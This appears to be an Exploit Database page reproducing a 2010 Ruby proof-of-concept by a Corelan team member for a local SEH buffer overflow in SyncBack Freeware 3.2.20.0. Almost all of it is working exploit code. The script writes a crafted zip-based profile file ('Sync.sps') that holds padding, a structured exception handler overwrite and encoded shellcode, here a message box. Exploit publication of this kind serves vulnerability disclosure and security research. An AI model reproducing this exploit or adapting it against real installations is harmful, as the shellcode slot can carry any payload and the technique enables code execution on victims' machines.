SyncBack Freeware 3.2.20.0 – Local Overflow (SEH)

• Exploit Database
• 114 阅读

• 作者： Lincoln
  日期： 2010-05-19
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12662/
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  #!/usr/bin/ruby # Software: SyncBack Freeware V3.2.20.0 # Author: Lincoln # Date: May 19, 2010 # Reference : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-041 # OS: Windows # Tested on : XP SP3 En (VirtualBox) # Type of vuln: SEH # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided &apos;as is&apos;, without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # banner = "|------------------------------------------------------------------|\n" + "| __ __|\n" + "| _________________/ /___ _____ / /________ _____ ___|\n" + "|/ ___/ __ \\/ ___/ _ \\/ / __ <code>/ __ \\ / __/ _ \\/ __ </code>/ __ `__ \\ |\n" + "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |\n" + "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/|\n" + "||\n" + "| http://www.corelan.be:8800 |\n" + "||\n" + "|-------------------------------------------------[ EIP Hunters ]--|\n\n"   print banner puts "[+] Exploit for SyncBack Freeware V3.2.20.0"   #Zip Headers header1= "\x50\x4B\x03\x04\x14\x00\x00\x00" + "\x00\x00\xB7\xAC\xCE\x34\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\xb8\x0b\x00\x00\x00"   header2= "\x50\x4B\x01\x02\x14\x00\x14\x00" + "\x00\x00\x00\x00\xB7\xAC\xCE\x34" + "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\xb8\x0b\x00\x00" + "\x00\x00\x00\x00\x01\x00\x24\x00" + "\x00\x00\x00\x00\x00\x00"   header3= "\x50\x4B\x05\x06\x00\x00\x00\x00" + "\x01\x00\x01\x00\xe6\x0b\x00\x00" + "\xd6\x0b\x00\x00\x00\x00"   #sub cx,b38 / call ecx align = "\x66\x81\xe9\x38\x0b\xff\xd1"   #msgbox: "Exploited by Corelan Security Team" shellcode = "\x89\xe3\xda\xd7\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x49" + "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" + "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" + "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" + "\x75\x4a\x49\x4a\x79\x4a\x4b\x4d\x4b\x4b\x69\x51\x64\x45" + "\x74\x4a\x54\x45\x61\x4e\x32\x4e\x52\x42\x5a\x46\x51\x49" + "\x59\x42\x44\x4e\x6b\x51\x61\x44\x70\x4c\x4b\x43\x46\x44" + "\x4c\x4e\x6b\x42\x56\x47\x6c\x4c\x4b\x51\x56\x44\x48\x4c" + "\x4b\x51\x6e\x45\x70\x4e\x6b\x45\x66\x50\x38\x50\x4f\x47" + "\x68\x50\x75\x4c\x33\x50\x59\x45\x51\x4b\x61\x4b\x4f\x48" + "\x61\x51\x70\x4c\x4b\x50\x6c\x46\x44\x45\x74\x4c\x4b\x51" + "\x55\x47\x4c\x4c\x4b\x50\x54\x43\x35\x50\x78\x43\x31\x4b" + "\x5a\x4c\x4b\x42\x6a\x47\x68\x4e\x6b\x43\x6a\x47\x50\x45" + "\x51\x4a\x4b\x48\x63\x46\x57\x50\x49\x4e\x6b\x44\x74\x4c" + "\x4b\x45\x51\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4b\x70\x4b" + "\x4c\x4e\x4c\x4f\x74\x4b\x70\x43\x44\x46\x6a\x4a\x61\x4a" + "\x6f\x44\x4d\x47\x71\x4b\x77\x48\x69\x4a\x51\x4b\x4f\x49" + "\x6f\x49\x6f\x45\x6b\x43\x4c\x45\x74\x51\x38\x51\x65\x49" + "\x4e\x4e\x6b\x42\x7a\x45\x74\x45\x51\x4a\x4b\x43\x56\x4e" + "\x6b\x46\x6c\x42\x6b\x4c\x4b\x43\x6a\x45\x4c\x43\x31\x4a" + "\x4b\x4e\x6b\x45\x54\x4e\x6b\x47\x71\x4d\x38\x4f\x79\x51" + "\x54\x46\x44\x47\x6c\x45\x31\x4a\x63\x4f\x42\x44\x48\x46" + "\x49\x48\x54\x4f\x79\x4b\x55\x4d\x59\x49\x52\x50\x68\x4c" + "\x4e\x50\x4e\x44\x4e\x48\x6c\x50\x52\x4b\x58\x4d\x4c\x4b" + "\x4f\x49\x6f\x4b\x4f\x4f\x79\x51\x55\x46\x64\x4d\x6b\x51" + "\x6e\x49\x48\x4d\x32\x51\x63\x4c\x47\x45\x4c\x44\x64\x51" + "\x42\x4d\x38\x4e\x6b\x49\x6f\x49\x6f\x4b\x4f\x4c\x49\x42" + "\x65\x47\x78\x43\x58\x42\x4c\x50\x6c\x45\x70\x4b\x4f\x51" + "\x78\x47\x43\x45\x62\x46\x4e\x45\x34\x45\x38\x51\x65\x51" + "\x63\x45\x35\x44\x32\x4d\x58\x51\x4c\x44\x64\x44\x4a\x4c" + "\x49\x48\x66\x43\x66\x4b\x4f\x43\x65\x46\x64\x4c\x49\x4b" + "\x72\x50\x50\x4d\x6b\x4e\x48\x4c\x62\x50\x4d\x4d\x6c\x4e" + "\x67\x47\x6c\x47\x54\x46\x32\x4b\x58\x43\x6e\x49\x6f\x49" + "\x6f\x49\x6f\x42\x48\x51\x74\x45\x71\x51\x48\x45\x70\x43" + "\x58\x44\x30\x43\x47\x42\x4e\x42\x45\x44\x71\x4b\x6b\x4b" + "\x38\x43\x6c\x45\x74\x46\x66\x4b\x39\x48\x63\x45\x38\x50" + "\x61\x42\x4d\x50\x58\x45\x70\x51\x78\x42\x59\x45\x70\x50" + "\x54\x51\x75\x51\x78\x44\x35\x43\x42\x50\x69\x51\x64\x43" + "\x58\x51\x30\x43\x63\x45\x35\x43\x53\x51\x78\x42\x45\x42" + "\x4c\x50\x61\x50\x6e\x42\x48\x51\x30\x51\x53\x50\x6f\x50" + "\x72\x45\x38\x43\x54\x51\x30\x50\x62\x43\x49\x51\x78\x42" + "\x4f\x43\x59\x42\x54\x50\x65\x51\x78\x42\x65\x51\x68\x42" + "\x50\x50\x6c\x46\x51\x48\x49\x4e\x68\x50\x4c\x46\x44\x45" + "\x72\x4d\x59\x49\x71\x44\x71\x4a\x72\x43\x62\x43\x63\x50" + "\x51\x46\x32\x4b\x4f\x48\x50\x50\x31\x4f\x30\x46\x30\x4b" + "\x4f\x51\x45\x44\x48\x45\x5a\x41\x41"   size = 2996 junk = "\x90" * (276 - align.length)   nseh = "\x5c\x61\x98\xa0" #pop esp / pop ad / jmp ecx seh= "\x4a\x6b\x40\x00" #universal p/p retn 8   payload = junk + align + nseh + seh + shellcode rest = "D" * (size - payload.length) final = payload + rest + ".txt"   filename = "Sync.sps" f = File.new(filename, &apos;w&apos;) f.write header1 + final + header2 + final + header3 f.close   puts "[+] file size :#{final.length}" puts "[+] Wrote exploit file : #{filename}" puts "[+] Import SyncBack profile and boom!\n\n"